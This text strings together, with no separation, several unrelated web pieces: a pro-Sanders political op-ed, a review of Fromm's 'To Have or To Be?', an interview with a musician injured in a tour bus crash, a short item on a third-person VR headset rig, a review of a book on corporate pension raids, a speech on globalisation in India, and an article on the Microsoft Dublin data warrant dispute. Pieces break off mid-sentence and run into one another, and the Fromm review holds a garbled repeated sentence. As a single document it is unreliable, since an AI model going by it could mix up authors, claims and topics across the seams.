But Starr never acknowledges this or any alternative theory for Sanders’ campaign strategy. Nor does Starr limit his complaint to Sanders messaging gaffes—gaffes which also dogged Hillary’s 2008 campaign, and from which her 2016 run was not immune. Rather, he paints Sanders as ignorant of the fact that black voters—particularly women—are the most consistent Democratic voting block, and are crucial to the success of the democratic coalition. Starr exploits his readers’ skepticism that a liberal career politician like Sanders could be so ignorant—implying instead cruel apathy toward the needs of black Americans or, at best, a disqualifying level of incompetence. The implication is clear: whether ignorant or indifferent, Bernie Sanders doesn’t care about black people (to paraphrase Kanye West’s famous Bush-era diagnosis).
Starr, referencing his own reporting, writes that Sanders’ senior black staffers referred to Sanders’ top campaign staffers as “white boys” who did not take Super Tuesday seriously, and who “were convinced that fighting for black Southern voters was pretty much a lost cause.” By emphasizing that black staffers (implying all and only black staffers made this observation), Starr distorts Sanders’ failure to campaign sufficiently in the south into something malicious, characterizing it as a decision to neglect black people specifically.
Of course, the majority of voters in the south, as in the rest of the country, are white. Clinton could not have won the southern primaries without swaying the majority of white voters as well. Yes, for historical reasons, the land of Dixie is still home to more black Americans than northern states, but a failure to campaign in the south is better explained by the Sanders campaign’s limited ambition. (Remember, too, that none of Hillary’s much championed victories in the southern primaries manifested as general election wins.)
Contrast Bernie’s lack of a ‘southern strategy’ with Hillary Clinton’s failure to campaign in the Midwest—a significant factor contributing to her crushing general election loss. As lamented as it is in some circles, Clinton’s error is not repeatedly resurrected as evidence of her indifference to Wisconsinites: She is not accused of having a “Midwestern problem.” Admittedly, Clinton is at times criticized for abandoning organized labor, but that sin is more often attributed to her husband and the self-described “New Democrats” who consciously abandoned unions in a bid for center-right votes. According to mainstream Democrats, Clinton is not actively antagonistic toward, or contemptuous of, the people whose votes she did not garner. (At least those within her party—sorry “deplorables.” So why single out Sanders?
At the root of my frustration is the basic illogic of concluding that the demographics of a politician’s supporters, without further evidence, are a proxy for—or worse, proof of—a politician’s personal allegiances. The error is understandable. The Republican Party has, since the 1960s, relied on antipathy toward the Civil Rights Movement and social justice initiatives to form a white, anti-black coalition that receives, at best, 5% of the black vote. It is easy to interpret the black vote as a bellwether of sorts which predicts racial animus. It’s particularly tempting to do so during an election season in which dog whistling was replaced by explicit racial attacks more polarizing than those seen since the days of Bull Connor.
But the dog whistling that once only suggested that Bernie was anti-black (because his supporters were allegedly mostly white) has blossomed into the explicit accusation that Bernie “dismissed” black voters and that he is ‘bad for blacks.’ Given the importance of Sanders’ economic message to future of black America, that is an accusation that I have difficulty ignoring.
In his article, Starr accuses Sanders of something much more insidious than simple campaign miscalculations. He writes that Sanders “never seemed to understand” the importance of the black female vote, and implicitly, their concerns. “For some reason,” Starr speculates, “Sanders and his supporters seem more interested in converting racist Donald Trump supporters while dismissing the electoral power of black female voters who’ve never wavered in their support of a party that consistently treats them like side pieces.”
“Seemed” is perhaps the operative word. Starr provides no evidence for his claims: tautologically, the Bernie Bro narrative has become evidence of itself. Certainly, Sanders’ record does not evidence an indifference to black women—quite the contrary. His anti-poverty initiatives would disproportionately aid black women, as 46% of those in poverty are black families headed by single black women. Sanders famously had to fight the democratic establishment to sign on to raising minimum wage to $15 an hour, and while Sanders might reasonably be faulted for not highlighting the extent to which his agenda disproportionately helps specific identity groups, women comprise the majority of minimum wage workers, and black women, who make up 6% percent of the population, comprise 23% of minimum wage workers. Heck, Bernie’s bona fides even stretch back to 1963, when footage shows him being arrested during a civil rights protest, chained to one of the black women whose interests he “seems” indifferent toward, according to Starr.
So what gives? Why do Starr and others feel the need to insinuate that Bernie’s poor performance among older blacks (it’s important to note that he won the majority of the black vote under 30 years old) reflects a lack of commitment to black issues? Hillary Clinton also lost the overwhelming majority of the black vote in the 2008 primary. Does she have a “black women problem” too?
The shift from campaign criticism to insinuations of racial antipathy “seems” to have been a defensive move instigated by Hillary’s campaign team that persists today. Absent substantive policy critiques of Sanders, who ran well to the left of Hillary, the perceived whiteness of Bernie supporters was used to redirect negative attention Hillary received for a string of racial slights (from her “super predator” comments in the ‘90s, to her haughty dismissal of a ticket holding Black Lives Matter protester from a $500-per-plate fundraiser).
Bernie Sanders can certainly be faulted for awkwardly handling racial issues—highlighting the non-economic needs of diverse communities is something he should continue to improve upon—but beyond gaffes, critiques of his record on race are not only scant; they are dwarfed by the missteps which haunt his political alternatives.
Sanders became active in the Civil Rights Movement in his teens and continued to advocate for social justice causes throughout his career, including giving an impassioned congressional speech against precisely those draconian provisions of the Crime Bill the Clintons supported, demonizing black children as “super predators” in their effort to do so. Starr was right about one thing: The Democratic Party does treat black women “like side pieces.” So there should be no rush to defend them against a man seeking to disrupt that trend—a man able to offer an alternative to a politically captured and underserved demographic group.
I suspect that absent Clinton’s own history of racial faux pas (which Starr dismissed summarily as though the lives destroyed by the Crime Bill were an annoying blip “forced...down our throats” by Hilary’s critics), Sanders’ whiteness, and the whiteness of his supporters, would not have become an issue in the last election. It seemed to go unnoticed that both candidates were white. But Hillary’s supporters realized that by weaponizing Sanders’ white maleness, they could perniciously suggest he couldn’t be trusted. Meanwhile, Hillary could use her name recognition and relative popularity with the black community as a shield to deflect scrutiny from her checkered record on racial issues.
Star’s misrepresentation is galling not just because it constitutes an unsubstantiated attack on a person’s values, but because it is made against someone who has worked, and who continues to work, assiduously in favor of goals ostensibly shared by Starr. It’s made in service of mainstream Democrats—the very Democrats who would continue to dismiss and ignore black voters who have nowhere else to go. This narrative exists for no other reason than to insulate the Democratic party from being exposed as possessing the exact quality that Starr unwarrantedly ascribes to Sanders: disinterest. Here’s one black woman who thinks that’s a problem.
B. Gray is a lawyer, podcaster, and writer intent on increasing the visibility of leftists of color. You can find her podcast and vlog, SWOTI (Someone’s Wrong on the Internet) on iTunes, Soundcloud, Stitcher and YouTube, and her read writing at Progressive Army. Follow her on Twitter, and find additional media links at SWOTI.Erich Fromm's highly influential and fascinating book
To Have or To Be?
deals with the question of authentic and creative personal existence and identity in a world in which most are driven by greed, lust, and power. In fact, Fromm divides human existence into two modes: those who define and live life according to what they
have
and own, and those who simply thrive in the art of being. Although it is posed as a question, it is evident from the start which answer the author chooses and favors.
It also comes as no surprise that most of us are living in the "having" mode for which both we ourselves and our social environment are to be blamed in equal measure. The book excels in showing us the causes and symptoms of our harmful, if not pathological modern day existence.
By putting the mirror in front of our eyes, Fromm makes us see that we are indeed living in a sick society; our social environment is feeding us lies about who we are, while at the same time, we are willingly swallowing and consuming them. Not unlike Plato's cave allegory we find ourselves bound and trapped in a shady consumer society; it, in turn, molds and fashions our tastes and ideas according to its selfish and profit-oriented needs and desires.
Our identity has become a fiction that we all believe and agree upon. To start off, our essential and most misguided delusion is to assume that life or existence is our possession. We have a name; we have a body; we have a job; we have friends; we have a family – wife and children, we have a house with or without a garden; we have a car; we have a future. Even our interpretation of God reflects our very own need for belonging and possession.
People caught up in this mode are misled into thinking that the more belongings and money they have; the more valuable and the better they are. This belief and attachment to things is the main reason for our unease and maladjustment.
has and not what one is. (Think of our linguistic bias when we say we have sexual intercourse, which is not something we can have, but is - or should be - a type of mutual experience). We value others and ourselves according to possessions and possessive qualities – having beauty or intelligence; even spirituality becomes something oneand not what one. (Think of our linguistic bias when we say wesexual intercourse, which is not something we can, but is - or should be - a type of mutual experience).
But the problem with money and possessions is that our greed is infinite and will never stop. There is always more down the road or in the neighbor's house, and the happiness we are chasing becomes ever so elusive and fleeting despite a growing savings account in the bank.
In order to increase our assets, we need to lie; we need to put on a fake persona and a phony smiling face; we need to exploit others and treat human beings as objects. At the same time, we need to fear our competitors and stab them in the back, metaphorically (I hope!). We are constantly paranoid because all our money and possessions can be preyed upon: Thieves can steal them from us, and then we will be left with nothing.
We know that we will die one day, but we postpone that thought to the remote corners of our mind. When the time seems to be approaching, we write up our last will; our testament thus ensures our own immortality regarding our possessions, and we rest assured that they will be handed over to our children complete and intact.
This is the world we live in. Our existence and time is intimately and intricately tied with money and possessions. Our education is about acquiring and having knowledge ; we wish to have skills that will further our value on the market so that we can get a job that provides us with a good salary.
And with that money, we ourselves further the aims of the consumer culture and become good consumers like a cog in this mega-machine. That this way of life is dangerous for human existence is best exemplified in Fromm's statement that greed and peace preclude each other.
Is there an alternative to this mode? Fromm proposes the mode of being, which has been promoted by the great masters of living. You may have your own list of favorite thinkers and philosophers on the matter, but most of us may agree upon, religious ideology aside, the Buddha and Jesus.
Siddhartha Gautama gave up his worldly belongings to live on the streets like a beggar, while the Son of God and Man came riding on a donkey and at best owned the clothes he was wearing (though that has been a point of contention by some). Both of them exemplify the state of being and show the delusion and suffering that money, or more importantly, one's attachment to it, brings.
The person who chooses the state of being does not see himself as property to be sold or loaned. He enjoys his studies for their own sake; he develops his own qualities not to put out them on the market but for his own immaterial wealth. He lives life with joy; every moment is precious and golden.
He does not see love as a possession; he is not jealous or envious, and he likes to share and give materials as well as share his time and being with others in an unconditional manner. He is satisfied with what he has and appreciates all that is given to him. When property or money is taken from him, he suffers no loss or pain. None of that is essential to his identity nor to his well-being.
But what makes the person in having mode happy? For some time, he believes that the growth of money or fame are a source of happiness. But since he is alienated from life and others, since he cannot truly love but sees everything as his possession, he gets pleasure in different ways.
He may travel around the world or have plenty of indiscriminate sex. And for a while, he has and feels pleasure; yet it lacks the constancy of joy, and once one's desire has been satisfied one looks for repetition or variety. This could end in a never-ending and vicious cycle of destructive habits to relieve one's anxiety.
What ought we do about the whole issue then? Fromm has some interesting perspectives on this. First of all, and I fully agree with him on this, we need to develop our own critical thinking and redefine and refine our sense of personal identity. This is more difficult than |
relatively speaking, how strong I was and how we all were before the accident. The human body does all of these things and of course we take that for granted until it's taken away from us and I spend each day seeing how much further I've come from the day before. So last week, I was unable to touch my face, and this week the big improvement that I made is that I am able to bend my arm enough that I can touch my face, and it does sound silly because what are you going to do when you touch your face? Last week, I learned how to put the phone down and scratch my nose with the good hand; it's all degrees.
The good thing for me is that I have a very supportive family and my 3-year-old daughter doesn't understand how serious this injury is, so she still wants to play with me and what I do is that I do the best I can to be a normal guy and that helps me because I don't sit there and wallow and get stuck in that rut of inactivity. I don't have time to wait, I just don't have time for anything anymore. I am ready to get through this and get moving again, and that was one of the big things that changed with that accident. I've come to a realization that we do have a relatively limited amount of time to do the things we want to do, and it can very easily be taken away randomly without any logic or sensibility to it.
I consider myself incredibly lucky to have survived through the accident and to come through with injuries that can be fixed within reason. Yeah, my arm isn't going to work the same again and neither is my leg, but I didn't take a head injury, I still have a pulse, I still have all of my limbs attached and that didn't necessarily need to be the case. I was told that if the injury to my arm had been any worse we would have been discussing amputation, so that's a reality check in some ways. Be thankful for what you have because it's much easier than you assume to lose this type of stuff. I'm not a spring chicken anymore and I'm not one of those people that thinks or has thought that I'm invincible, but now I'm sure of it. Now I'm sure of what we're made of and it really is a thin network of meat and bones. You've got to respect that.
It's phenomenal that nobody passed away. I remember in your story, you were saying that moments before the crash, you were yelling at everyone and trying to wake them up to prepare for the impact. What struck me as interesting is that while you were trying to get everyone ready, you stayed at the front of the bus. Did that seem like the safest place to remain at the time when you were going over that hill?
No, and maybe I can clarify; it felt like ages. There wasn't enough time to do anything definitively and it was just enough time for instincts, to act on instinct. If I had known that there was going to be an accident, if I was prepared to know we would have had a finite amount of time to deal with it, maybe something could have been done differently. But the fact is simple fact is, and I could put it very bluntly; we were screaming out of control down a very steep hill, in the rain, in a bus. There's no seat belts on our bus. I don't know if you ever seen European tour buses, but there are a lot of bands that in order not to loose money on tour, will rent older model buses. The bus was an older model but it was a German model, German driver, he owned and operated his own vehicle. There are very stringent vehicle laws in Germany so it really was up to code, it wasn't like we were on the Beverly Hillbillies truck and we could just jump out of the back of it.
I mean, how are you going to get out of a vehicle that's flying down the hill? It would take a lot of rationale and I wouldn't have done it anyway because my friends, my best friends in the world, are all on that bus and instincts told me that I needed to wake them and everybody who was awake needed to know what was going on in order to brace for impact, because the other thing about those type of tour buses, if there is something is considerably wrong happening up in the front, it doesn't mean you know it in the back. Sound doesn't travel well through those buses so screaming at the top of my lungs, I'm barely getting everybody's attention. I think everybody woke up in time to have some brief moment of understanding of what was going to happen, and I'm not even sure about that. There may have been one or two people who just woke up in the hospital, but the simple fact of the matter was we were moving incredibly fast and we were going down a hill and the driver and I we were looking for something to do, we were looking for a way to stop it.
We were looking for a road where we could have turned on, or a ramp we could have gone up or something that could have cushioned the blow a little bit easier and we never found it. There was one road we could have turned on, but it was almost like we would have to turn backwards, it was a very hard left and it was clear that the bus would have flipped. You flip in a bus, that's it, good night. The only other option is that the bus runs into another vehicle. The only vehicle we saw was occupied, moving towards us and it had another family in it -- that's not an option, you don't kill somebody to save yourself. So, by that time the crash was entirely inevitable and we had run out of choices. We saw the guardrail at the bottom and there was really nothing we could have done. We were moving so fast that nobody could have done anything. We tried everything, we tried using the momentum of the bus and turning to slow it down; that worked to a certain degree. We ran to the emergency brake, and the transmission was basically gone because we were going so fast you couldn't downshift, and of course, there were no brakes, so we were mechanically … f---ed. [Laughs] Yeah, that's the right time to use that world.
Then we hit the guardrail and then there was a couple of seconds I spent in the air preparing myself for what seemed like an inevitable fate. Honestly, I've been living on the road for over ten years. I've come to terms with that on several occasions and none of them were even close or as serious as this. I was ready for it and I made my peace, I accepted it and I was ready for the end. That was the only option that was given to me. You know, at the point when our bus was fully airborne, there was nothing you could do but try to make peace with it, and I did. How surprised was I when I'm still alive? How f---ing overenthusiastically happy was I when that happened? Like I said, whatever physical pain there was, whatever mental trauma I've yet to suffer through, whatever nicks and bumps and scrapes and bruises we've taken from this, I'll tell you what, it's better than the other alternative we could have taken from that wreck.
I guess that's just that. You deal with the hand that is dealt. That's what I gotta do. It's better to do it and find something constructive and something positive. That's what I think everybody's doing and we're really quite happy because I wasn't exactly in a pleasant mood for a few days following that and I was trying to make sense of it, and thanks very much to the rest of the guys in the band and crew, thank you very much to our fans who offered support and our friends and family who were there or were keeping in contact with us and absolute f---ing praise and worship goes to the emergency team who responded, and you know the surgeons, and the whole medical team that dealt with us because they kept us alive, kept us in one piece and kept everybody positive. It felt like there was this huge extensive family who just tried to keep me and everybody okay physically, mentally, and in every way. I'm so grateful for that because a month after our wreck there was another bus that crashed 60 miles away from us that was carrying people from another music festival and that crash killed three people. That just got me thinking about how fortunate we are that we have fans that care about us, we have families and friends and everything and all of these people that care enough to be part of the story and to offer help with this. I'm just thinking of some of the people in the other crash, they might not have had that, they might have not had anybody interested in hearing what happened and they lost more. So, in perspective, it could have been worse. It could've been a lot better. [Laughs] It could have been a lot better, but it could have been worse.
Can you give us an update on your fellow bandmates, friends and how the bus driver is doing?
Yeah, I mean, everybody is going to be fine at the end of it. We all suffered different types of injuries and it's pretty surprising the variety of injuries that were sustained. Just out of respect for the rest of the guys, they've all got their individual stories, so I'm not really naming any names, but there was some pieces of back, one guy was in a brace, somebody from our crew was bruised to the point where they had to be under constant medical supervision for fear of clots, and one of our crew looked like he'd been in the biggest street fight of all time. The driver sustained a number of broken bones, some people had minor scratches and scrapes and others as hefty as broken bones and backs. But the simple fact is, we will all be fine, absolutely fine in the end. It's important, especially for me to hold onto that. We will be fine in the end. If we're not fine already, we'll be fine in the end.
In the crash story you mentioned that you did suffer some burns along with your broken arm and broken leg. How long exactly were you laying in the bus before you were rescued?
It was really quite alarming how fast that there was a crew on the scene. What happened to me specifically was I flew forward about ten or twelve feet and I went halfway through the windshield. The windshield flew out in one piece and it went flying and I hit it and bounced back in. I landed on the window frame where the glass had been. There was shards all around me and the burn marks were abrasion burns. It was a burn that went all the way around my arm and pretty deep into from who knows what. There was a ton of them, just big huge patches of skin rubbed off or burned off. I didn't pass out, so I can't say, "When I came too…" but once the bus settled, I was sitting and I was able to survey the area and able to take stock.
If I was on the ground I wouldn't have been able to do a number of things that I did, but I was sitting. That's when, instinctually, and I believe we were all conscious while doing this, but we were looking around to make sure everybody was alive. I had this sense inside that nobody had died, and fortunately I was right there. I actually was relatively calm given the circumstance and I was just calling everybody's names out and I think we were all trying to see where everybody was, and after about a minute, it couldn't have been more than a minute-and-a-half, there were three people at the front of the bus. I had just pulled my arm almost 360 degrees in a circle, so I knew what was wrong with me. I was just sitting in the window of the bus like, "Get me out! Get everybody else out!" There was a window, I guess in the back of the bus that was broken as well. So everybody was either coming out the front or out the back and I believe they had to cut the driver out.Screenshot by Michelle Starr/CNET
Third-person perspective -- that is, as pertains to video games -- offers advantages over first-person perspective, such as a wider field of vision, whereas first-person has the benefit of deeper immersion. What if you could take that step back in your own life, and view it all as though you were standing just behind yourself?
Well, we may soon need wonder no more, thanks to a Polish 3D tech education company called Mepi. Mepi has created a prototype device that allows the wearer to view the world in third-person perspective (TPP) through an Oculus Rift headset -- as though they're playing a game.
The rig itself as worn as a backpack, with an arm extending above the wearer's head. On this arm, two cameras are mounted behind and above the wearer's head, feeding video directly into the Oculus Rift in real-time, controlled by a joystick so the wearer can look around -- although we imagine future iterations might make use of the Oculus Rift's motion sensors.
It might seem a somewhat strange idea, but, as Mepi CEO Bartosz Barlowski explained to 3Dprint.com, the company envisions a range of potential applications.
"Our goal is to develop TPP view for use in virtual reality devices and solve real world problems by using it to help users be more aware of their environment," he said. "Blind spots in interior car view, help[ing] an engineer navigate to the right place so he can perform his work." Other applications could include live events, construction and even medical use.
It'll probably need a bit of streamlining before that point -- at the moment, it requires a backpack to carry the equipment on which it runs -- but it's certainly an interesting concept, given that virtual reality is usually employed to provide a first-person perspective in a virtual world rather than third-person in the real one.
Check it out in action in the video below.In December 2010, General Electric [GE] held its annual meeting in New York City for analysts and shareholders. CEO Jeff Immelt reported on GE’s financial health and said that GE’s pension plan was a problem. “The pension has been a drag for a decade,” he said. It would cause the company to lose 13 cents per share the coming year. In order to control costs, GE was—regretfully—going to close the pension plan for new employees. The implication was that workers’ pensions were dragging the company down.
What Immelt didn’t mention was that GE’s pension plans had actually contributed billions of dollars to the company’s bottom line over the last 15 years, earnings that the executives had taken credit for. Nor did he mention that GE hadn’t contributed anything to the workers’ pension plans since 1987 and still had enough to cover all the current and future retirees.
Nor did he mention that the executive pensions for GE executives were a burden. Unlike the plans for the 250,000 workers and retirees, the executive pensions had a $4.4 billion obligation that steadily drained cash from the company’s coffers, including $573 million over the past three years alone.
Why was GE closing its fully funded pension plan, while continuing its financially burdensome executive plan? This is the question to which Ellen Schultz’s incisive new book, Retirement Heist: How Companies Plunder and Profit from the Nest Eggs of American Workers (Portfolio, 2011) offers a powerful answer.
A carefully planned heist
She explains that the current retirement crisis is “not a demographic accident. It was manufactured by an alliance of two groups: top executives and their facilitators in the retirement industry—benefits consultants, insurance companies and banks.”
Executives are viewed “as beleaguered captains valiantly trying to keep their overloaded ships from being sunk in a perfect storm. In reality, they’re the silent pirates who looted the ships and left them to sink, along with the retirees, as they sailed away safely in their lifeboats.”
In 2000, most pensions were fully funded
Two decades ago, pensions were well funded, due to laws and regulations passed in the 1970s and 1980s. By 2000, pension plans at many large companies had large surpluses that would have covered all current and future retirees’ pensions without them having to contribute anything.
Yet US firms found ways to siphon off billions of dollars in assets from the pension plans. Verizon used assets to finance downsizings. GE sold pension surpluses in restructuring deals, indirectly converting pension assets into cash. Many firms clandestinely cut benefits, using “actuarial sleight of hand to disguise the cuts.”
Cutting benefits boosted earnings
Cutting benefits boosted earnings. New accounting rules “turned retiree benefits plans into cookie jars of potential earnings enhancements and provided employers with the means to convert the trillion dollars in pensions and retiree benefits into immediate dollar-for-dollar benefit for the company.”
Since accounting rules rewarded employers for cutting benefits, retiree benefits plans soon morphed into profit centers. Retiree plans became handy earnings-management centers at the expense of the retirees. Yet as workers’ retirement benefits were cut, “supplemental executive pensions” ballooned along with escalating deferred compensation. “Today,” reports Schultz, “it’s common for a large company to owe its executives several billion dollars in pensions and deferred compensation.”
It’s these growing “executive legacy liabilities” that account for much of the “growing pension costs”. Executive liabilities are often large, growing, underfunded or unfunded, and hidden, buried within the figures for regular pensions.
“With no punitive damages under pension law, employers face little risk when they unilaterally slash benefits, even when promised in writing, since they can pay their lawyers with pension assets and drag out the cases until the retirees give up or die.”
Today, Schultz reports, “pension plans are collectively underfunded, hundreds are frozen, and retiree health benefits are an endangered species. And as executive pay and executive pensions spiral, these executive liabilities are slowly replacing pension obligations on many corporate balance sheets.”
They all do it
The firms involved in these activities are not a few small unscrupulous operators. They are the best-known companies in the USA, including: GE, Verison, Dupont, Northrop Grumman, Marathon Oil, Lucent, Wal-Mart, General Motors, Chrysler, Ford, AT&T, US Airways, Delta Air Lines, Cigna, Bank of America, Caterpillar, Deere & Co, UPS—the list goes on and on.
Schultz sums up the situation:
The masterminds of this heist should take a bow: They managed to take hundreds of billions of dollars in retirement benefits that were intended for millions of workers and divert them to corporate coffers, shareholders, and their own pockets. And they’re still at it. It might not be possible to resuscitate pension plans, but it isn’t too late to expose the machinations of the retirement industry, which has its tentacles into every type of retirement benefit: profit-sharing plans, 401(k)s, employee stock ownership plans (ESOPs), and plans for public employees, nonprofits, small businesses, and even churches. The retirement industry has exported its tactics, using them to achieve similar outcomes in retirement plans in Canada, Europe, Australia, and elsewhere, and has big plans for Social Security and its overseas equivalents as well. Unless it is reined in, the global retirement industry will continue to capture retirement wealth earned by many to enrich a relative few.
A systemic solution is needed
Does any of this sound familiar?
Readers of this blog may recall that pursuit of short-run profits pushes organizations into a default model of management that focuses on efficiencies at the cost of long run value to customers, undermines the capacity of the firm to innovate, kills commitment among workers whose full engagement is crucial to the firm’s future and results in sub-optimal financial returns for the firm itself.
Readers may also recall that pursuit of short-run profits led to foreign outsourcing that destroyed not only jobs in this country but ultimately the capacity to compete in whole sectors of the economy, which are now permanently lost, because the knowledge has gone. As a result, Amazon couldn't make a Kindle in the USA, even if it wanted to.
So it should hardly come as a surprise that retirement is another area where the cancer of short-term profit seeking is carving its inevitable path towards disaster.
Firms have fallen into this mode of operating in part because firms operating with traditional management are not producing the returns they used to. Therefore managers become desperate and resort to tactics that hurt the firm in the medium term while meeting the immediate need of showing financial returns in the here and now.
Getting to the root cause: pursuit of short-term profits
As a result, focusing on fixing pensions by itself will not be enough. In addition to pension reform, we need to get the root cause of the problem: what is needed is a fundamental shift from shareholder capitalism to customer capitalism, i.e. from traditional management to radical management.
When the whole firm is devoted to systematically delighting its customers by providing a continuous stream of additional value and providing it sooner, through continuous innovation, as at Apple [AAPL], Amazon [AMZN] and Salesforce [CRM], it makes enough money that it doesn’t have to resort to looting the workers' retirement to make ends meet.
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Steve Denning’s most recent book is: The Leader’s Guide to Radical Management (Jossey-Bass, 2010).
Follow Steve Denning on Twitter @stevedenningGlobalisation is not new. Ideas, objects and people have moved across the world since time immemorial. Two examples.
A sermon spoken to an audience of five souls in a deer park in North East India in 600 BC spread across the plains far beyond the park, beyond oceans and mountain passes. It spread as a message of compassion and non-violence easily trespassing borders a couple of millennia before social media was conceived in the spacious dorm rooms of Mark Zuckerberg and company. And then, about a hundred years ago, Gandhiji unleashed an idea that galvanised spirits across continents; moved countless hearts and dismantled an empire.
There is an arrogance in claiming that globalisation is new, as if we've only just invented it. Every generation feels there is an onus on them to come up with something newer, faster, better. But globalisation doesn't belong to our generation; it is a process that has been going on since the time we first spoke our minds. Like most definitions, this one blurs complexities. Definitions are guides but they are also traps. The term globalisation is like the equally ubiquitous "war on terror". They are both terms that capture everything and nothing at the same time. What is new is the speed with which ideas and people are travelling and coming into contact with each other.
Let me give you a small example. What are the similarities and differences between a bullock cart and a car? The most obvious similarity is that they both allow us to move. They both have wheels, axles, seats... But, now for the difference. What separates them is the number of ideas that have coalesced to shape their final form. A car is the product of a larger conglomeration of ideas than a bullock cart. The idea of transport of getting from one point to another is revolutionised by the car. So, in this paradigm, high technology is nothing more complicated than a higher density of ideas. Added to the original blueprint of axles and wheels, you now have the combustion of fuel, a drive train, tires with compressed air and even a slot for your iPod.
These ideas come from a network of connectivity. The ideas and inputs that went into a bullock cart are all from the same square kilometre of land. The pedigree of the car is far more complex. The rubber probably came from Malaysia, was processed in Germany and assembled in Gurgaon. The metal was mined in Bellary, processed in Japan and imported by a Korean ship. The fuel may have been extracted in Saudi Arabia by European engineers and driven to the petrol pump by a trucker from Punjab.
You get what I mean.
You think you're sitting comfortably on a car seat, but what you don't realise is you're perched upon a perpetually running global network whose collective memory is expanding explosively.
Now, let's move to India. India in 1947 was a different place. There was only one India 60 years ago and it was poor. Almost all of it lived in villages and did not have access to the basic requirements of food and shelter. That India was completely unconnected, both internally and externally. Knowledge was trapped in numerous silos, principal among them a rigid caste system that defined everyone's place in society. The mobility of ideas, people and objects was severely restricted for millennia by that rigid caste system. Even the tools of knowledge and communication were restricted to an elite minority.
But India has changed. It has been changing over the last 60 years. It is changing as we speak. We are seeing the birth of a new India, mobile and dynamic. It is an India that is rapidly connecting across social and physical barriers. An India where information is finally beginning to flow.
But that does not mean that our success is inevitable. Globalisation excludes as much as it includes. There are millions left out of the process, millions who do not benefit from globalisation and millions more who are damaged by its asymmetric application of power. The local networks that protected them no longer exist. The worker from Kerala who extracts the oil that is the life force of the car, cannot afford to drive it home to his children. Every time you turn your key in the ignition, you are sucking oil out of that well in Saudi Arabia. If there is no oil in that well, you don't have a car and the man who extracts the oil can no longer feed his children. The farmer in Vidarbha drinks pesticide as global cotton prices tumble. The little tribal boy walks past a housing colony built on top of his home never to set foot in it again.
Let's move to migration for a minute. Migration is converting India from a static, village-based society into a mobile urban one. Today's migration is tremendous and dynamic, but it is a process that leaves people bereft of justice and of rights. It is a process that involves young fathers sleeping on footpaths in new cities. A process accompanied by voiceless women being sold silently in the shadows.
The only constant in our world is change this has always been true. Change challenges the status quo.
Our current concepts of justice and rights have been structured for static societies. We must think about how these concepts will need to change with increased connectivity and movement. Take for example the vote, our most basic instrument of empowerment and justice. An instrument that gives India its voice. What does it imply for us as a just nation when we cannot guarantee a migrant seamless access to franchise? The same problem also suggests where the solutions lie in innovations such as the Unique ID, which allow us to know and therefore guarantee a voice to every individual.
Like globalisation, there is another idea that has been around for thousands of years. It is the same idea that was spoken about in the deer park in Sarnath. An idea that has always been the basis of justice and rights, it is the idea of compassion. Compassion comes from understanding that we are all part of the same system I am you and you are me. Compassion allows us to see that the rights of others are as important as our own. Like change, we must ensure that the idea of compassion is always with us.
Gandhi is a general secretary of the Congress party
From a speech at the Rajiv Gandhi Institute of Contemporary Studies on October 18
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Please read our terms of use before posting commentsComment The US government can get access to your data stored outside the United States. A controversial ruling by the New York District Court made it clear earlier this year just how far US warrants can extend. The judge ruled that Microsoft had to hand over customer data it was holding in its Dublin data centre. But this is not the end of the matter.
Conscious that its entire cloud strategy outside of the US could be jeopardised, Microsoft is refusing to hand over data at the risk of being placed in contempt of court.
Let’s rewind a minute to work out what this is all about. In 2011, when it launched Office 365, Microsoft's former UK MD Gordon Frazer – now China COO for Redmond – said that his firm would hand over data held in EU data centres in order to comply with the USA PATRIOT Act, since it is a US-headquartered company.
That seemed a remarkable statement at the time – that Microsoft customers in the EU, with no apparent connection to the US, could still have their data being accessed by the US government because there was a US company in the supply chain. But logic suggested that the US government would not access everyone’s data and would target its law enforcement efforts to maximise its effectiveness against those engaged in unlawful activities.
The Snowden effect
Then, two years later, former NSA sysadmin Edward Snowden made his revelations. The use of surveillance powers was already fairly well known. But Snowden exposed access to and storage of data in bulk by the US National Security Agency, under its PRISM programme. NSA was using broad and long-lasting warrants obtained under the Foreign Intelligence Surveillance Act without the need to obtain individual warrants.
This led to international outrage, not just from customers, but from heads of state who were being snooped upon, including German Chancellor Angela Merkel. In an act of reconciliation, US President Barack Obama set up a committee to review the NSA’s powers with a view to making changes to the process and bolstering the Safe Harbour data protection regime. These changes, so far, have been largely window-dressing.
Store data local to customer
Conscious of the concerns the NSA was causing to its non-US customers, Microsoft said earlier this year – via its general counsel, Brad Smith – that it would allow customers to choose to store their data without having any copy stored in the US. In the present case, Microsoft – true to its word – was locating customer data close to the customer in its Dublin data centre.
The US government applied to get access to this data and the judge ruled in its favour and granted it a warrant. In general, most people are comfortable with the need to gain access to data for law enforcement purposes provided there are proper checks and balances in place. The issue that has caused consternation was the New York judge’s approach to geographical boundaries.
Wide-reaching warrant
This time the legislation used was the Stored Communications Act. The US government applied for access to data Microsoft was holding in its Dublin dat acentre. Microsoft argued that the warrant did not have “extra-territorial power” – that is, the warrant should not apply outside the United States. If this argument had prevailed, it would leave the US government having to use other powers to get access to the data in Ireland.
One such mechanism is the Mutual Legal Assistance Treaties that exist between various nations which enable the collection and sharing of data to assist. This formal process recognises that sovereign nations control their jurisdictions but are willing to cooperate with other nations for law enforcement purposes. In fact, it appears the US and Irish governments signed a mutual legal assistance treaty in 2001, although it is still not in force.
Laborious treaties
With a direct approach via treaty seemingly not available to the US government, this would put more emphasis on the judge ruling in its favour. And that is exactly what the judge did. He did not question whether or not the treaty with Ireland was in force. Instead, the judge quoted a commentator, who had said: “This process generally remains slow and laborious, as it requires the cooperation of two governments and one of those governments may not prioritize the case as highly as the other.”
Therefore the judge granted the warrant, explaining: “If the territorial restrictions on conventional warrants applied to warrants issued [in this case], the burden on the Government would be substantial, and law enforcement efforts would be seriously impeded.”
There is clearly a point of policy at play. As the judge pointed out, a criminal could effectively “forum-shop” and hide his data in another jurisdiction to put it out of the reach of the US government. Dealing with sovereign governments would take too long and, if they did not cooperate, would leave the US government without access to the data. The easiest way to get access to data, therefore, will always be via the US cloud provider.
Microsoft in contempt?
But Microsoft has not given up. It has so far refused to hand over the data and has appealed the ruling. The court suspended the ruling pending this appeal but has since lifted the suspension. The US government has asked the court to find Microsoft in contempt of court if it continues to withhold the data. This could mean fines for Microsoft.
According to court documents released recently against another provider, the US government threatened to fine Yahoo $250,000 a day if it refused to hand over user data to NSA. Thus, at stake is the entire US cloud offering outside the US, with the German government reportedly stating that it won’t use data storage from US companies unless the ruling is overturned. Not surprisingly, other US companies, including AT&T, Apple and Verizon, have filed court briefs supporting Microsoft.
What does this teach us?
